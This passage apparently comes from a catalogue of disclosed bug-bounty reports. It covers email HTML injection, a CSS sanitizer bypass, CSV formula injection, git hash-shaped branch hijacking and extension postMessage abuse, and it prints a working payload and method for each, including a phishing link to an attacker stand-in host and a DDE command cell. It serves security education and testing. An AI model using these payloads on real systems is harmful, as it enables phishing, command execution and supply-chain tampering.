Name: <h1>Your account is suspended</h1><a href="https://attacker/verify">Verify now</a>

Insight — Any user-controlled field that flows into an outbound email template (name, order note, ticket subject) is an HTML-injection phishing sink; the trusted From: address makes it high-value even without XSS.

Real-world example

CSS sanitizer bypass: 'position: fixed !important' escapes exact-match mitigation

◆ Medium
Specimen #3590586 · nextcloud · none · 44 votes · resolved
Program nextcloudSurface web

Root cause

A CSS sanitizer neutralizes overlay attacks by rewriting position:fixed to absolute, but the check is strcasecmp(value,'fixed')===0 requiring the whole value to equal 'fixed'. 'fixed !important' fails that comparison, then passes token-based validation and is emitted unchanged.

Method

  1. Send an HTML email whose CSS uses position: fixed !important on a full-viewport overlay.
  2. Sanitizer's exact-match ('fixed') mitigation does not fire; token validator accepts ['fixed','!important'].
  3. Rendered overlay covers the preview pane iframe, and the whole browser viewport when opened in a new window.
.overlay{position:fixed !important;top:0;left:0;width:100%;height:100%;background:white;z-index:99999;}

Insight — Whenever a sanitizer special-cases a value by exact string match, try appending !important, extra whitespace, comments (/**/), or case changes so the value no longer equals the blocked literal but still parses. Applies to CSS property mitigations and keyword denylists generally.

Real-world example

CSV / formula injection via exported field

◆ Medium
Specimen #1748961 · metamask · 500 · 40 votes · resolved
Program metamaskSurface web

Root cause

User-controlled field (client name) is written to an exported CSV without neutralizing leading formula characters; opened in Excel/Calc, a cell beginning with = is evaluated, enabling DDE command execution or data exfiltration.

Method

  1. Enter a formula payload in a field that gets exported to CSV
  2. Have a victim export and open the CSV in a spreadsheet app
  3. Formula executes (DDE cmd) or exfiltrates cell data
=cmd|' /C notepad'!'A1'

Insight — Any user text that reaches CSV/XLSX export is a formula-injection sink; test =, +, -, @ and DDE (=cmd|...). Fix is prefixing those with a single quote.

Real-world example

Git reference ambiguity: branch named as a commit hash shadows the hash

◆ Medium
Specimen #790634 · gitlab · $2000 · 39 votes · resolved
Program gitlabSurface webChain branch-as-hash -> pinned dependency resolves to attacker Tag supply-chain

Root cause

Git resolves an ambiguous ref by preferring a branch name over a commit object. A host that accepts pushing 40-hex-char branch names lets an attacker create a branch whose name equals a real commit hash; dependents that pin that hash then check out the attacker branch instead.

Method

  1. Identify a commit hash A that consumers pin/reference.
  2. On the same repo, create and push a branch named exactly the 40-char hash A pointing at a different commit B.
  3. A consumer's `git checkout <hashA>` now resolves to branch A (commit B), silently swapping the referenced content.
git branch e91803d442559d6efb63102b10c919e10901b01d <commit_B> git push origin e91803d442559d6efb63102b10c919e10901b01d

Insight — Trusting a git hash as immutable is unsafe if the host allows hash-shaped ref names (GitHub blocks them, some hosts do not). Same 'ref/diff ambiguity' family also lets attackers smuggle commits so the reviewed PR diff differs from what actually merges (refs/replace). Test git hosts for hash-shaped branch/tag acceptance and diff-vs-merge consistency.

Real-world example

Extension postMessage command injection (open-url tab flooding)

◆ Medium
Specimen #389076 · superhuman · awarded · 37 votes · resolved
Program superhumanSurface otherChain Untrusted page -> content script -> background chrome.

Root cause

A browser-extension content script accepts commands from window.postMessage sent by the active page and forwards an attacker-supplied URL to chrome.tabs.create on the background page, with no origin/gesture check.

Method

  1. Page (after initializing the extension popup) posts a message with the extension's command envelope
  2. Content script relays open-url to background page
  3. Background opens tab(s) at attacker URL including file:// and chrome://; loop for infinite-tab DoS
window.postMessage({ grammarly: true, action: 'open-url', url: 'file:///etc/passwd' }, '*')

Insight — Any extension whose content script trusts window.postMessage/DOM events without verifying event.isTrusted or origin is a page-to-privileged-API bridge; enumerate the command envelope and look for navigation/file/download sinks.

§References & practice

  1. PortSwigger Web Security Academy — SQL injection labs (hands-on practice).
  2. All 77 disclosed reports for this class are catalogued as specimens above.
  3. See also: exploit chains · payload libraries · methodology.